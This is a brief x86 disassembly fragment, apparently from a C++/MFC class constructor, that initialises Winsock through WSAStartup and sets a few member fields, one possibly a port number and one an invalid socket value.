lea eax, [esp + 4]
mov dword [esi], method.CWnd.virtual_0
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
mov dword [esi + 0x44], 0x4d12
inc eax
mov dword [esi + 0x40], 0xffffffff
mov dword [esi + 0x3c], eax
mov eax, esi
pop esi
add esp, 0x190
ret